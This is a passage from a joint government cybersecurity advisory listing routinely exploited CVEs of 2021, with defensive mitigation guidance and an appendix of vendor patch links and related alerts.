Windows Print Spooler, and Pulse Secure Pulse Connect Secure. Three of these vulnerabilities were also [routinely exploited in 2020](<https://www.cisa.gov/uscert/ncas/alerts/aa21-209a>): CVE-2019-19781, CVE-2019-18935, and CVE-2017-11882.\n\n_Table 2: Additional Routinely Exploited Vulnerabilities in 2021_\n\nCVE\n\n| \n\nVendor and Product\n\n| \n\nType \n \n---|---|--- \n \n[CVE-2021-42237](<https://nvd.nist.gov/vuln/detail/CVE-2021-42237>)\n\n| \n\nSitecore XP\n\n| \n\nRCE \n \n[CVE-2021-35464](<https://nvd.nist.gov/vuln/detail/CVE-2021-35464>)\n\n| \n\nForgeRock OpenAM server\n\n| \n\nRCE \n \n[CVE-2021-27104](<https://nvd.nist.gov/vuln/detail/CVE-2021-27104>)\n\n| \n\nAccellion FTA\n\n| \n\nOS command execution \n \n[CVE-2021-27103](<https://nvd.nist.gov/vuln/detail/CVE-2021-27103>)\n\n| \n\nAccellion FTA\n\n| \n\nServer-side request forgery \n \n[CVE-2021-27102](<https://nvd.nist.gov/vuln/detail/CVE-2021-27102>)\n\n| \n\nAccellion FTA\n\n| \n\nOS command execution \n \n[CVE-2021-27101](<https://nvd.nist.gov/vuln/detail/CVE-2021-27101>)\n\n| \n\nAccellion FTA\n\n| \n\nSQL injection \n \n[CVE-2021-21985](<https://nvd.nist.gov/vuln/detail/CVE-2021-21985>)\n\n| \n\nVMware vCenter Server\n\n| \n\nRCE \n \n[CVE-2021-20038](<https://nvd.nist.gov/vuln/detail/CVE-2021-20038>)\n\n| \n\nSonicWall Secure Mobile Access (SMA)\n\n| \n\nRCE \n \n[CVE-2021-40444](<https://nvd.nist.gov/vuln/detail/CVE-2021-40444>)\n\n| \n\nMicrosoft MSHTML\n\n| \n\nRCE \n \n[CVE-2021-34527](<https://nvd.nist.gov/vuln/detail/CVE-2021-34527>)\n\n| \n\nMicrosoft Windows Print Spooler\n\n| \n\nRCE \n \n[CVE-2021-3156](<https://nvd.nist.gov/vuln/detail/CVE-2021-3156>)\n\n| \n\nSudo\n\n| \n\nPrivilege escalation \n \n[CVE-2021-27852](<https://nvd.nist.gov/vuln/detail/CVE-2021-27852>)\n\n| \n\nCheckbox Survey\n\n| \n\nRemote arbitrary code execution \n \n[CVE-2021-22893](<https://nvd.nist.gov/vuln/detail/CVE-2021-22893>)\n\n| \n\nPulse Secure Pulse Connect Secure\n\n| \n\nRemote arbitrary code execution \n \n[CVE-2021-20016](<https://nvd.nist.gov/vuln/detail/CVE-2021-20016>)\n\n| \n\nSonicWall SSLVPN SMA100\n\n| \n\nImproper SQL command neutralization, allowing for credential access \n \n[CVE-2021-1675](<https://nvd.nist.gov/vuln/detail/CVE-2021-1675>)\n\n| \n\nWindows Print Spooler\n\n| \n\nRCE \n \n[CVE-2020-2509](<https://nvd.nist.gov/vuln/detail/CVE-2020-2509>)\n\n| \n\nQNAP QTS and QuTS hero\n\n| \n\nRemote arbitrary code execution \n \n[CVE-2019-19781](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>)\n\n| \n\nCitrix Application Delivery Controller (ADC) and Gateway\n\n| \n\nArbitrary code execution \n \n[CVE-2019-18935](<https://nvd.nist.gov/vuln/detail/CVE-2019-18935>)\n\n| \n\nProgress Telerik UI for ASP.NET AJAX\n\n| \n\nCode execution \n \n[CVE-2018-0171](<https://nvd.nist.gov/vuln/detail/CVE-2018-0171>)\n\n| \n\nCisco IOS Software and IOS XE Software\n\n| \n\nRemote arbitrary code execution \n \n[CVE-2017-11882](<https://nvd.nist.gov/vuln/detail/CVE-2017-11882>)\n\n| \n\nMicrosoft Office\n\n| \n\nRCE \n \n[CVE-2017-0199](<https://nvd.nist.gov/vuln/detail/CVE-2017-0199>)\n\n| \n\nMicrosoft Office\n\n| \n\nRCE \n \n### Mitigations\n\n#### **Vulnerability and Configuration Management**\n\n * Update software, operating systems, applications, and firmware on IT network assets in a timely manner. Prioritize patching [known exploited vulnerabilities](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>), especially those CVEs identified in this CSA, and then critical and high vulnerabilities that allow for remote code execution or denial-of-service on internet-facing equipment. For patch information on CVEs identified in this CSA, refer to the appendix. \n * If a patch for a known exploited or critical vulnerability cannot be quickly applied, implement vendor-approved workarounds.\n * Use a centralized patch management system.\n * Replace end-of-life software, i.e., software that is no longer supported by the vendor. For example, Accellion FTA was retired in April 2021.\n * Organizations that are unable to perform rapid scanning and patching of internet-facing systems should consider moving these services to mature, reputable cloud service providers (CSPs) or other managed service providers (MSPs). Reputable MSPs can patch applications\u2014such as webmail, file storage, file sharing, and chat and other employee collaboration tools\u2014for their customers. However, as MSPs and CSPs expand their client organization's attack surface and may introduce unanticipated risks, organizations should proactively collaborate with their MSPs and CSPs to jointly reduce that risk. For more information and guidance, see the following resources. \n * CISA Insights [Risk Considerations for Managed Service Provider Customers](<https://cisa.gov/sites/default/files/publications/cisa-insights_risk-considerations-for-msp-customers_508.pdf>)\n * CISA Insights [Mitigations and Hardening Guidance for MSPs and Small- and Mid-sized Businesses](<https://cisa.gov/sites/default/files/publications/CISA Insights_Guidance-for-MSPs-and-Small-and-Mid-sized-Businesses_S508C.pdf>)\n * ACSC advice on [How to Manage Your Security When Engaging a Managed Service Provider](<https://www.cyber.gov.au/acsc/view-all-content/publications/how-manage-your-security-when-engaging-managed-service-provider>)\n\n#### **Identity and Access Management**\n\n * Enforce multifactor authentication (MFA) for all users, without exception.\n * Enforce MFA on all VPN connections. If MFA is unavailable, require employees engaging in remote work to use strong passwords. \n * Regularly review, validate, or remove privileged accounts (annually at a minimum).\n * Configure access control under the concept of least privilege principle. \n * Ensure software service accounts only provide necessary permissions (least privilege) to perform intended functions (non-administrative privileges).\n\n**Note:** see [CISA Capacity Enhancement Guide \u2013 Implementing Strong Authentication](<https://cisa.gov/sites/default/files/publications/CISA_CEG_Implementing_Strong_Authentication_508_1.pdf>) and ACSC guidance on [Implementing Multi-Factor Authentication](<https://www.cyber.gov.au/acsc/view-all-content/publications/implementing-multi-factor-authentication>) for more information on hardening authentication systems.\n\n#### **Protective Controls and Architecture **\n\n * Properly configure and secure internet-facing network devices, disable unused or unnecessary network ports and protocols, encrypt network traffic, and disable unused network services and devices. \n * Harden commonly exploited enterprise network services, including Link-Local Multicast Name Resolution (LLMNR) protocol, Remote Desktop Protocol (RDP), Common Internet File System (CIFS), Active Directory, and OpenLDAP.\n * Manage Windows Key Distribution Center (KDC) accounts (e.g., KRBTGT) to minimize Golden Ticket attacks and Kerberoasting.\n * Strictly control the use of native scripting applications, such as command-line, PowerShell, WinRM, Windows Management Instrumentation (WMI), and Distributed Component Object Model (DCOM).\n * Segment networks to limit or block lateral movement by controlling access to applications, devices, and databases. Use private virtual local area networks. \n * Continuously monitor the attack surface and investigate abnormal activity that may indicate lateral movement of a threat actor or malware. \n * Use security tools, such as endpoint detection and response (EDR) and security information and event management (SIEM) tools. Consider using an information technology asset management (ITAM) solution to ensure your EDR, SIEM, vulnerability scanner etc., are reporting the same number of assets.\n * Monitor the environment for potentially unwanted programs.\n * Reduce third-party applications and unique system/application builds; provide exceptions only if required to support business critical functions.\n * Implement application allowlisting. \n\n### **Resources**\n\n * For the top vulnerabilities exploited in 2020, see joint CSA [Top Routinely Exploited Vulnerabilities](<https://www.cisa.gov/uscert/ncas/alerts/aa21-209a>)\n * For the top exploited vulnerabilities 2016 through 2019, see joint CSA [Top 10 Routinely Exploited Vulnerabilities](<https://www.cisa.gov/uscert/ncas/alerts/aa20-133a>). \n * See the appendix for additional partner resources on the vulnerabilities mentioned in this CSA.\n\n### **Disclaimer**\n\nThe information in this report is being provided \u201cas is\u201d for informational purposes only. CISA, the FBI, NSA, ACSC, CCCS, NZ NCSC, and NCSC-UK do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring.\n\n### **Purpose **\n\nThis document was developed by U.S., Australian, Canadian, New Zealand, and UK cybersecurity authorities in furtherance of their respective cybersecurity missions, including their responsibilities to develop and issue cybersecurity specifications and mitigations.\n\n### **References**\n\n[1] [CISA\u2019s Apache Log4j Vulnerability Guidance](<https://www.cisa.gov/uscert/apache-log4j-vulnerability-guidance>)\n\n### **Appendix: Patch Information and Additional Resources for Top Exploited Vulnerabilities**\n\nCVE\n\n| \n\nVendor\n\n| \n\nAffected Products\n\n| \n\nPatch Information\n\n| \n\nResources \n \n---|---|---|---|--- \n \n[CVE-2021-42237](<https://nvd.nist.gov/vuln/detail/CVE-2021-42237>)\n\n| \n\nSitecore\n\n| \n\nSitecore XP 7.5.0 - Sitecore XP 7.5.2\n\nSitecore XP 8.0.0 - Sitecore XP 8.2.7\n\n| \n\n[Sitecore Security Bulletin SC2021-003-499266](<https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1000776#HistoryOfUpdates>)\n\n| \n\nACSC Alert [Active Exploitation of vulnerable Sitecore Experience Platform Content Management Systems](<https://www.cyber.gov.au/acsc/view-all-content/alerts/active-exploitation-vulnerable-sitecore-experience-platform-content-management-systems>) \n \n[CVE-2021-35464](<https://nvd.nist.gov/vuln/detail/CVE-2021-35464>)\n\n| \n\nForgeRock \n\n| \n\nAccess Management (AM) 5.x, 6.0.0.x, 6.5.0.x, 6.5.1, 6.5.2.x and 6.5.3\n\nOpenAM 9.x, 10.x, 11.x, 12.x and 13.x\n\n| \n\n[ForgeRock AM Security Advisory #202104](<https://backstage.forgerock.com/knowledge/kb/article/a47894244>)\n\n| \n\nACSC Advisory [Active exploitation of ForgeRock Access Manager / OpenAM servers](<https://www.cyber.gov.au/acsc/view-all-content/advisories/advisory-2021-004-active-exploitation-forgerock-access-manager-openam-servers>)\n\nCCCS [ForgeRock Security Advisory](<https://www.cyber.gc.ca/en/alerts/forgerock-security-advisory>) \n \n[CVE-2021-27104](<https://nvd.nist.gov/vuln/detail/CVE-2021-27104>)\n\n| \n\nAccellion \n\n| \n\nFTA 9_12_370 and earlier\n\n| \n\n[Accellion Press Release: Update to Recent FTA Security Incident](<https://www.accellion.com/company/press-releases/accellion-provides-update-to-recent-fta-security-incident/>)\n\n| \n\nJoint CSA [Exploitation of Accellion File Transfer Appliance](<https://www.cisa.gov/uscert/ncas/alerts/aa21-055a>)\n\nACSC Alert [Potential Accellion File Transfer Appliance compromise](<https://www.cyber.gov.au/acsc/view-all-content/alerts/potential-accellion-file-transfer-appliance-compromise>) \n \n[CVE-2021-27103](<https://nvd.nist.gov/vuln/detail/CVE-2021-27103>)\n\n| \n\nFTA 9_12_411 and earlier \n \n[CVE-2021-27102](<https://nvd.nist.gov/vuln/detail/CVE-2021-27102>)\n\n| \n\nFTA versions 9_12_411 and earlier \n \n[CVE-2021-27101](<https://nvd.nist.gov/vuln/detail/CVE-2021-27101>)\n\n| \n\nFTA 9_12_370 and earlier\n\n| \n \n[CVE-2021-21985](<https://nvd.nist.gov/vuln/detail/CVE-2021-21985>)\n\n| \n\nVMware \n\n| \n\nvCenter Server 7.0, 6.7, 6.5\n\nCloud Foundation (vCenter Server) 4.x and 3.x\n\n| \n\n[VMware Advisory VMSA-2021-0010](<https://www.vmware.com/security/advisories/VMSA-2021-0010.html>)\n\n| \n\nCCCS [VMware Security Advisory](<https://www.cyber.gc.ca/en/alerts/vmware-security-advisory-41>) \n \n[CVE-2021-21972](<https://nvd.nist.gov/vuln/detail/CVE-2021-21972>)\n\n| \n\nVMware\n\n| \n\nvCenter Server 7.0, 6.7, 6.5\n\nCloud Foundation (vCenter Server) 4.x and 3.x\n\n| \n\n[VMware Advisory VMSA-2021-0002](<https://www.vmware.com/security/advisories/VMSA-2021-0002.html>)\n\n| \n\nACSC Alert [VMware vCenter Server plugin remote code execution vulnerability](<https://www.cyber.gov.au/acsc/view-all-content/alerts/vmware-vcenter-server-plugin-remote-code-execution-vulnerability-cve-2021-21972>)\n\nCCCS [VMware Security Advisory](<https://www.cyber.gc.ca/en/alerts/vmware-security-advisory-35>)\n\nCCCS Alert [APT Actors Target U.S. and Allied Networks - Update 1](<https://www.cyber.gc.ca/en/alerts/apt-actors-target-us-and-allied-networks-nsacisafbi>) \n \n[CVE-2021-20038](<https://nvd.nist.gov/vuln/detail/CVE-2021-20038>)\n\n| \n\nSonicWall\n\n| \n\nSMA 100 Series (SMA 200, 210, 400, 410, 500v), versions 10.2.0.8-37sv, 10.2.1.1-19sv, 10.2.1.2-24sv\n\n| \n\n[SonicWall Security Advisory SNWLID-2021-0026](<https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0026>)\n\n| \n\nACSC Alert [Remote code execution vulnerability present in SonicWall SMA 100 series appliances](<https://www.cyber.gov.au/acsc/view-all-content/alerts/remote-code-execution-vulnerability-present-sonicwall-sma-100-series-appliances>)\n\nCCCS [SonicWall Security Advisory](<https://www.cyber.gc.ca/en/alerts/sonicwall-security-advisory-4>) \n \n[CVE-2021-44228](<https://nvd.nist.gov/vuln/detail/CVE-2021-44228>)\n\n| \n\nApache\n\n| \n\nLog4j, all versions from 2.0-beta9 to 2.14.1\n\nFor other affected vendors and products, see [CISA's GitHub repository](<https://github.com/cisagov/log4j-affected-db>).\n\n| \n\n[Log4j: Apache Log4j Security Vulnerabilities](<https://logging.apache.org/log4j/2.x/security.html>)\n\nFor additional information, see joint CSA: [Mitigating Log4Shell and Other Log4j-Related Vulnerabilities](<https://www.cisa.gov/uscert/ncas/alerts/aa21-356a>)\n\n| \n\nCISA webpage [Apache Log4j Vulnerability Guidance](<https://www.cisa.gov/uscert/apache-log4j-vulnerability-guidance>)\n\nCCCS [Active exploitation of Apache Log4j vulnerability - Update 7](<https://www.cyber.gc.ca/en/alerts/active-exploitation-apache-log4j-vulnerability>) \n \n[CVE-2021-40539](<https://nvd.nist.gov/vuln/detail/CVE-2021-40539>)\n\n| \n\nZoho ManageEngine \n\n| \n\nADSelfService Plus version 6113 and prior\n\n| \n\n[Zoho ManageEngine: ADSelfService Plus 6114 Security Fix Release ](<https://pitstop.manageengine.com/portal/en/community/topic/adselfservice-plus-6114-security-fix-release>)\n\n| \n\nJoint CSA [APT Actors Exploiting Newly Identified Vulnerability in ManageEngine ADSelfService Plus](<https://www.cisa.gov/uscert/ncas/alerts/aa21-259a>)\n\nCCCS [Zoho Security Advisory](<https://www.cyber.gc.ca/en/alerts/zoho-security-advisory>) \n \n[CVE-2021-40444](<https://nvd.nist.gov/vuln/detail/CVE-2021-40444>)\n\n| \n\nMicrosoft \n\n| \n\nMultiple Windows products; see [Microsoft Security Update Guide: MSHTML Remote Code Execution Vulnerability, CVE-2021-40444](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-40444>)\n\n| \n\n[Microsoft Security Update Guide: MSHTML Remote Code Execution Vulnerability, CVE-2021-40444](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-40444>)\n\n| \n \n[CVE-2021-34527](<https://nvd.nist.gov/vuln/detail/CVE-2021-34527>)\n\n| \n\nMicrosoft \n\n| \n\nMultiple Windows products; see [Microsoft Security Update Guide: Windows Print Spooler Remote Code Execution Vulnerability, CVE-2021-34527](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34527>)\n\n| \n\n[Microsoft Security Update Guide: Windows Print Spooler Remote Code Execution Vulnerability, CVE-2021-34527](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34527>)\n\n| \n\nJoint CSA [Russian State-Sponsored Cyber Actors Gain Network Access by Exploiting Default Multifactor Authentication Protocols and \u201cPrintNightmare\u201d Vulnerability](<https://www.cisa.gov/uscert/ncas/alerts/aa22-074a>)\n\nCCCS [Alert Windows Print Spooler Vulnerability Remains Unpatched \u2013 Update 3](<https://www.cyber.gc.ca/en/alerts/windows-print-spooler-vulnerability-remains-unpatched>) \n \n[CVE-2021-34523](<https://nvd.nist.gov/vuln/detail/CVE-2021-34523>)\n\n| \n\nMicrosoft \n\n| \n\nMicrosoft Exchange Server 2013 Cumulative Update 23\n\nMicrosoft Exchange Server 2016 Cumulative Updates 19 and 20\n\nMicrosoft Exchange Server 2019 Cumulative Updates 8 and 9\n\n| \n\n[Microsoft Security Update Guide: Microsoft Exchange Server Elevation of Privilege Vulnerability, CVE-2021-34523](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34523>)\n\n| \n\nJoint CSA [Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities](<https://www.cisa.gov/uscert/ncas/alerts/aa21-321a>)\n\nACSC Alert [Microsoft Exchange ProxyShell Targeting in Australia](<https://www.cyber.gov.au/acsc/view-all-content/alerts/microsoft-exchange-proxyshell-targeting-australia>) \n \n[CVE-2021-34473](<https://nvd.nist.gov/vuln/detail/CVE-2021-34473>)\n\n| \n\nMicrosoft \n\n| \n\nMultiple Exchange Server versions; see: [Microsoft Security Update Guide: Microsoft Exchange Server Remote Code Execution Vulnerability, CVE-2021-34473](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34473>)\n\n| \n\n[Microsoft Security Update Guide: Microsoft Exchange Server Remote Code Execution Vulnerability, CVE-2021-34473](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34473>) \n \n[CVE-2021-31207](<https://nvd.nist.gov/vuln/detail/CVE-2021-31207>)\n\n| \n\nMicrosoft \n\n| \n\nMultiple Exchange Server versions; see [Microsoft Update Guide: Microsoft Exchange Server Security Feature Bypass Vulnerability, CVE-2021-31207](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-31207>)\n\n| \n\n[Microsoft Update Guide: Microsoft Exchange Server Security Feature Bypass Vulnerability, CVE-2021-31207](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-31207>) \n \n[CVE-2021-3156](<https://nvd.nist.gov/vuln/detail/CVE-2021-3156>)\n\n| \n\nSudo\n\n| \n\nSudo before 1.9.5p2\n\n| \n\n[Sudo Stable Release 1.9.5p2](<https://www.sudo.ws/releases/stable/#1.9.5p2>)\n\n| \n \n[CVE-2021-27852](<https://nvd.nist.gov/vuln/detail/CVE-2021-27852>)\n\n| \n\nCheckbox Survey\n\n| \n\nCheckbox Survey versions prior to 7\n\n| \n\n| \n \n[CVE-2021-27065](<https://nvd.nist.gov/vuln/detail/CVE-2021-27065>)\n\n| \n\nMicrosoft Exchange Server\n\n| \n\nMultiple versions; see: [Microsoft Security Update Guide: Microsoft Exchange Server Remote Code Execution Vulnerability, CVE-2021-27065](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-27065>)\n\n| \n\n[Microsoft Security Update Guide: Microsoft Exchange Server Remote Code Execution Vulnerability, CVE-2021-27065](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-27065>)\n\n| \n\nCISA Alert: [Mitigate Microsoft Exchange Server Vulnerabilities](<https://www.cisa.gov/uscert/ncas/alerts/aa21-062a>)\n\nACSC Advisory [Active exploitation of Vulnerable Microsoft Exchange servers](<https://www.cyber.gov.au/acsc/view-all-content/advisories/advisory-2021-002-active-exploitation-vulnerable-microsoft-exchange-servers>)\n\nCCCS Alert [Active Exploitation of Microsoft Exchange Vulnerabilities - Update 4](<https://www.cyber.gc.ca/en/alerts/active-exploitation-microsoft-exchange-vulnerabilities>) \n \n[CVE-2021-26858](<https://nvd.nist.gov/vuln/detail/CVE-2021-26858>)\n\n| \n\nMicrosoft \n\n| \n\nExchange Server, multiple versions; see [Microsoft Security Update Guide: Microsoft Exchange Server Remote Code Execution Vulnerability, CVE-2021-26858](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26858>)\n\n| \n\n[Microsoft Security Update Guide: Microsoft Exchange Server Remote Code Execution Vulnerability, CVE-2021-26858](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26858>) \n \n[CVE-2021-26857](<https://nvd.nist.gov/vuln/detail/CVE-2021-26857>)\n\n| \n\nMicrosoft \n\n| \n\nExchange Server, multiple versions; see [Microsoft Security Update Guide: Microsoft Exchange Server Remote Code Execution Vulnerability, CVE-2021-26857](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26857>)\n\n| \n\n[Microsoft Security Update Guide: Microsoft Exchange Server Remote Code Execution Vulnerability, CVE-2021-26857](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26857>) \n \n[CVE-2021-26855](<https://nvd.nist.gov/vuln/detail/CVE-2021-26855>)\n\n| \n\nMicrosoft \n\n| \n\nExchange Server, multiple versions; see [Microsoft Security Update Guide: Microsoft Exchange Server Remote Code Execution Vulnerability, CVE-2021-26855](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26855>)\n\n| \n\n[Microsoft Security Update Guide: Microsoft Exchange Server Remote Code Execution Vulnerability, CVE-2021-26855](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26855>) \n \n[CVE-2021-26084](<https://nvd.nist.gov/vuln/detail/CVE-2021-26084>)\n\n| \n\nJira Atlassian \n\n| \n\nConfluence Server and Data Center, versions 6.13.23, from version 6.14.0 before 7.4.11, from version 7.5.0 before 7.11.6, and from version 7.12.0 before 7.12.5.\n\n| \n\n[Jira Atlassian: Confluence Server Webwork OGNL injection - CVE-2021-26084](<https://jira.atlassian.com/browse/CONFSERVER-67940>)\n\n| \n\nACSC Alert [Remote code execution vulnerability present in certain versions of Atlassian Confluence](<https://www.cyber.gov.au/acsc/view-all-content/alerts/remote-code-execution-vulnerability-present-certain-versions-atlassian-confluence>)\n\nCCCS [Atlassian Security Advisory](<https://www.cyber.gc.ca/en/alerts/atlassian-security-advisory>) \n \n[CVE-2021-22893](<https://nvd.nist.gov/vuln/detail/CVE-2021-22893>)\n\n| \n\nPulse Secure \n\n| \n\nPCS 9.0R3/9.1R1 and Higher\n\n| \n\n[Pulse Secure SA44784 - 2021-04: Out-of-Cycle Advisory: Multiple Vulnerabilities Resolved in Pulse Connect Secure 9.1R11.4](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44784/>)\n\n| \n\nCCCS Alert [Active Exploitation of Pulse Connect Secure Vulnerabilities - Update 1](<https://www.cyber.gc.ca/en/alerts/active-exploitation-pulse-connect-secure-vulnerabilities>) \n \n[CVE-2021-20016](<https://nvd.nist.gov/vuln/detail/CVE-2021-20016>)\n\n| \n\nSonicWall \n\n| \n\nSMA 100 devices (SMA 200, SMA 210, SMA 400, SMA 410, SMA 500v)\n\n| \n\n[SonicWall Security Advisory SNWLID-2021-0001](<https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0001>)\n\n| \n \n[CVE-2021-1675](<https://nvd.nist.gov/vuln/detail/CVE-2021-1675>)\n\n| \n\nMicrosoft\n\n| \n\nMultiple Windows products; see [Microsoft Security Update Guide Windows Print Spooler Remote Code Execution Vulnerability, CVE-2021-1675](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-1675>)\n\n| \n\n[Microsoft Security Update Guide: Windows Print Spooler Remote Code Execution Vulnerability, CVE-2021-1675](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-1675>)\n\n| \n\nCCCS [Alert Windows Print Spooler Vulnerability Remains Unpatched \u2013 Update 3](<https://www.cyber.gc.ca/en/alerts/windows-print-spooler-vulnerability-remains-unpatched>) \n \n[CVE-2020-2509](<https://nvd.nist.gov/vuln/detail/CVE-2020-2509>)\n\n| \n\nQNAP \n\n| \n\nQTS, multiple versions; see [QNAP: Command Injection Vulnerability in QTS and QuTS hero](<https://www.qnap.com/en/security-advisory/qsa-21-05>)\n\nQuTS hero h4.5.1.1491 build 20201119 and later\n\n| \n\n[QNAP: Command Injection Vulnerability in QTS and QuTS hero](<https://www.qnap.com/en/security-advisory/qsa-21-05>)\n\n| \n \n[CVE-2020-1472](<https://nvd.nist.gov/vuln/detail/CVE-2020-1472>)\n\n| \n\nMicrosoft \n\n| \n\nWindows Server, multiple versions; see [Microsoft Security Update Guide: Netlogon Elevation of Privilege Vulnerability, CVE-2020-1472](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-1472>)\n\n| \n\n[Microsoft Security Update Guide: Netlogon Elevation of Privilege Vulnerability, CVE-2020-1472](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-1472>)\n\n| \n\nACSC Alert [Netlogon elevation of privilege vulnerability (CVE-2020-1472)](<https://www.cyber.gov.au/acsc/view-all-content/alerts/netlogon-elevation-privilege-vulnerability-cve-2020-1472>)\n\nJoint CSA [APT Actors Chaining Vulnerabilities Against SLTT, Critical Infrastructure, and Elections Organizations](<https://www.cisa.gov/uscert/ncas/alerts/aa20-283a>)\n\nCCCS Alert [Microsoft Netlogon Elevation of Privilege Vulnerability - CVE-2020-1472 - Update 1](<https://www.cyber.gc.ca/en/alerts/microsoft-netlogon-elevation-privilege-vulnerability-cve-2020-1472>) \n \n[CVE-2020-0688](<https://nvd.nist.gov/vuln/detail/CVE-2020-0688>)\n\n| \n\nMicrosoft \n\n| \n\nExchange Server, multiple versions; see [Microsoft Security Update Guide: Microsoft Exchange Validation Key Remote Code Execution Vulnerability, CVE-2020-0688](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-0688>)\n\n| \n\n[Microsoft Security Update Guide: Microsoft Exchange Validation Key Remote Code Execution Vulnerability, CVE-2020-0688](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-0688>)\n\n| \n\nCISA Alert [Chinese Ministry of State Security-Affiliated Cyber Threat Actor Activity](<https://www.cisa.gov/uscert/ncas/alerts/aa20-258a>)\n\nJoint CSA [Russian State-Sponsored Cyber Actors Target Cleared Defense Contractor Networks to Obtain Sensitive U.S. Defense Information and Technology](<https://www.cisa.gov/uscert/ncas/alerts/aa22-047a>)\n\nCCCS Alert [Microsoft Exchange Validation Key Remote Code Execution Vulnerability](<https://www.cyber.gc.ca/en/alerts/microsoft-exchange-validation-key-remote-code-execution-vulnerability>) \n \n[CVE-2019-19781](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>)\n\n| \n\nCitrix \n\n| \n\nADC and Gateway version 13.0 all supported builds before 13.0.47.24\n\nNetScaler ADC and NetScaler Gateway, version 12.1 all supported builds before 12.1.55.18; version 12.0 all supported builds before 12.0.63.13; version 11.1 all supported builds before 11.1.63.15; version 10.5 all supported builds before 10.5.70.12\n\nSD-WAN WANOP appliance models 4000-WO, 4100-WO, 5000-WO, and 5100-WO all supported software release builds before 10.2.6b and 11.0.3b\n\n| \n\n[Citrix Security Bulletin CTX267027](<https://support.citrix.com/article/CTX267027>)\n\n| \n\nJoint CSA [APT Actors Chaining Vulnerabilities Against SLTT, Critical Infrastructure, and Elections Organizations](<https://www.cisa.gov/uscert/ncas/alerts/aa20-283a>)\n\nCISA Alert [Chinese Ministry of State Security-Affiliated Cyber Threat Actor Activity](<https://www.cisa.gov/uscert/ncas/alerts/aa20-258a>)\n\nCCCS Alert [Detecting Compromises relating to Citrix CVE-2019-19781](<https://www.cyber.gc.ca/en/alerts/detecting-compromises-relating-citrix-cve-2019-19781-0>) \n \n[CVE-2019-18935](<https://nvd.nist.gov/vuln/detail/CVE-2019-18935>)\n\n| \n\nProgress Telerik \n\n| \n\nUI for ASP.NET AJAX through 2019.3.1023\n\n| \n\n[Telerik UI for ASP.NET AJAX Allows JavaScriptSerializer Deserialization](<https://docs.telerik.com/devtools/aspnet-ajax/knowledge-base/common-allows-javascriptserializer-deserialization>)\n\n| \n\nACSC Alert [Active exploitation of vulnerability in Microsoft Internet Information Services](<https://www.cyber.gov.au/acsc/view-all-content/alerts/active-exploitation-vulnerability-microsoft-internet-information-services>) \n \n[CVE-2019-11510](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>)\n\n| \n\nPulse Secure \n\n| \n\nPulse Connect Secure 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4\n\n| \n\n[Pulse Secure: SA44101 - 2019-04: Out-of-Cycle Advisory: Multiple vulnerabilities resolved in Pulse Connect Secure / Pulse Policy Secure 9.0RX](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101/>)\n\n| \n\nCISA Alert [Continued Exploitation of Pulse Secure VPN Vulnerability](<https://www.cisa.gov/uscert/ncas/alerts/aa20-010a>)\n\nCISA Alert [Chinese Ministry of State Security-Affiliated Cyber Threat Actor Activity](<https://www.cisa.gov/uscert/ncas/alerts/aa20-258a>)\n\nACSC Advisory [Recommendations to mitigate vulnerability in Pulse Connect Secure VPN Software](<https://www.cyber.gov.au/acsc/view-all-content/advisories/2019-129-recommendations-mitigate-vulnerability-pulse-connect-secure-vpn-software>)\n\nJoint CSA [APT Actors Chaining Vulnerabilities Against SLTT, Critical Infrastructure, and Elections Organizations](<https://www.cisa.gov/uscert/ncas/alerts/aa20-283a>)\n\nCCCS [Alert APT Actors Target U.S. and Allied Networks - Update 1](<https://www.cyber.gc.ca/en/alerts/apt-actors-target-us-and-allied-networks-nsacisafbi>) \n \n[CVE-2018-13379](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>)\n\n| \n\nFortinet\n\n| \n\nFortiProxy 2.0.2, 2.0.1, 2.0.0, 1.2.8, 1.2.7, 1.2.6, 1.2.5, 1.2.4, 1.2.3, 1.2.2, 1.2.1, 1.2.0, 1.1.6\n\n| \n\n[Fortinet FortiGuard Labs: FG-IR-20-233](<https://www.fortiguard.com/psirt/FG-IR-20-233>)\n\n| \n\nJoint CSA [Russian State-Sponsored Cyber Actors Target Cleared Defense Contractor Networks to Obtain Sensitive U.S. Defense Information and 